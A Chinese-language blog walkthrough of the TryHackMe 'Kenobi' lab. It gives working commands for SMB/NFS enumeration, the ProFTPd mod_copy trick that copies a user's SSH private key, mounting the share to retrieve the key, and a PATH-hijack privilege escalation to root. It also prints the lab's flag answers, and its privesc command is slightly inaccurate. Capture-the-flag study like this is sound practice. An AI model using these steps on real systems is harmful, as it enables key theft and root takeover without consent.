Tryhackme 靶機入侵實作 – Kenobi

項目名稱:Kenobi

Task.1 Deploy the vulnerable machine

Q1.Make sure you’re connected to our network and deploy the machine

把目標啟動並順利連接到目標端

Q2.Scan the machine with nmap, how many ports are open?

A:7

用nmap掃目標端可以很輕易的發現有7個端口是開放的

nmap -sT -T4 10.10.80.135

Task.2 Enumerating Samba for shares

Q1.Using the nmap command above, how many shares have been found?

A:3 題目給了我們一串指令

nmap -p 445 --script = smb-enum-shares.nse, smb-enum-users.nse 10.10.80.135

這串指令主要是調用上面兩個腳本來對目標SMB進行枚舉 輸出結果長這樣

可以看到有三個共享

Q2.Once you’re connected, list the files on the share. What is the file can you see?

A:log.txt

在這一步 我們需要利用smbclient去連接到目標

smbclient //10.10.80.135/anonymous
ls

可以看到目標上有放著一個log.txt 那我們就下載下來好了

get log.txt

打開後可以看到有個使用者似乎叫kenobi?

Q3.What port is FTP running on?

A:21

回到剛剛的nmap可以看到FTP是21 Port

Q4.What mount can we see?

A:/var

題目這邊有給我們一個提示

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.80.135

輸入以後就能看到/var了

Task.3 Gain initial access with ProFtpd

Q1.What is the version?

A:1.3.5

這邊題目要我們找到Proftpd的版本 剛剛nmap掃出來的結果可以看到FTP的Port是21

nmap -A -p21 10.10.80.135

Q2.How many exploits are there for the ProFTPd running?

A:3

直接到exploit-db上搜尋ProFTPd 1.3.5

能看到有4個 但這個題目在創建的時候還沒有最上面那個 所以回答3個

Q3.We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

這邊只是要你了解FTP服務是以Kenobi身分運行 並為該身分生成了ssh密鑰

現在我們可以利用netcat把Kenobi的SSH密鑰複製到/var/tmp下

nc 10.10.80.135 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

Q4.We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.

現在我們已經把id_rsa複製到/var/tmp了 但能不能拿回來又是另一回事

還記得我們一開始nmap掃描到有個服務叫做rpcbind嗎? 而且他開的目錄也是/var

所以我們先在本機創建一個資料夾

mkdir mnt

創建完後 再把目標的/var/tmp掛載到我們的/mnt下面

sudo mount 10.10.80.135:/var /home/attacker/Tryhackme/Kenobi/mnt

可以看到對方的/var已經成功掛載到我們的/mnt底下了

接著到/tmp底下就能成功找剛剛複製的id_rsa了

把它複製回來吧

cp id_rsa /home/attacker/TryHackme/Kenobi/

接著再把這個id_rsa的權限設定成600 不然登入時會要你輸入密碼

sudo chmod 600 id_rsa

改好後就可以連過去了

ssh -i id_rsa kenobi@10.10.80.135

成功獲得初始控制權

Q5.What is Kenobi’s user flag (/home/kenobi/user.txt)?

A:d0b0f3f53b6caa532a83915e19224899

這一步單純只是找flag 到kenobi的目錄就能找到了

Task.4 Privilege Escalation with Path Variable Manipulation

Q1.What file looks particularly out of the ordinary?

A:/usr/bin/menu

題目在這裡給了一串指令 要我們利用這串指令找出可利用的檔案

find / -perm -u=s -type f 2>/dev/null

Q2.Run the binary, how many options appear?

A:3

運行後能看到三種選項

(補一個 這個檔案與眾不同的原因是因為照理來說我們是不能用這個服務的 但我們可以用

等於是說 這個檔案是以root權限來執行命令的

Q3.We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

在這裡 我們要做的是權限提升

可以看出這個檔案在沒有完整路徑的情況下執行

strings檔案後可以看到三種模式

所以說我們可以更改某一個命令的執行路徑來讓這個檔案誤判為他要執行的內容

到/home/kenobi

echo "bin/bash" > ifconfig
chmod +x ifconfig

echo “bin/bash” > ifconfig 的意思是創建一個ifconfig檔案 裡面內容是bin/bash chmod +x ifconfig 的意思是給剛剛那個檔案執行的權限

這樣menu一執行就是直接變成說執行ifconfig這個檔案

因為它沒有說是要執行ifconfig這個檔案還是說ifconfig這個指令

所以他會先以執行檔案為優先

但又因為menu是root身分 所以說權限會直接變成root

Q4.What is the root flag (/root/root.txt)?

A:177b3cd8562289f37382721c28381f02

到路徑下找檔案就能直接拿到Flag了

心得:

這台靶機蠻特殊的 先是用FTP把SSH金鑰複製到/tmp再掛載回來 最後用SSH連過去以後的提權方式也是第一次看到 雖然說我的方式好像不是按照官方的方式去做 是自己試出來的 但我覺得我的方式好像比較好(?

免責聲明

未經事先雙方同意,使用工具攻擊目標是非法的.請遵守當地法律規範.開發者與本作者對此文章不承擔任何責任,也不對任何濫用或損壞負責.

This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.

Back To Top
error: 內容被保護 !!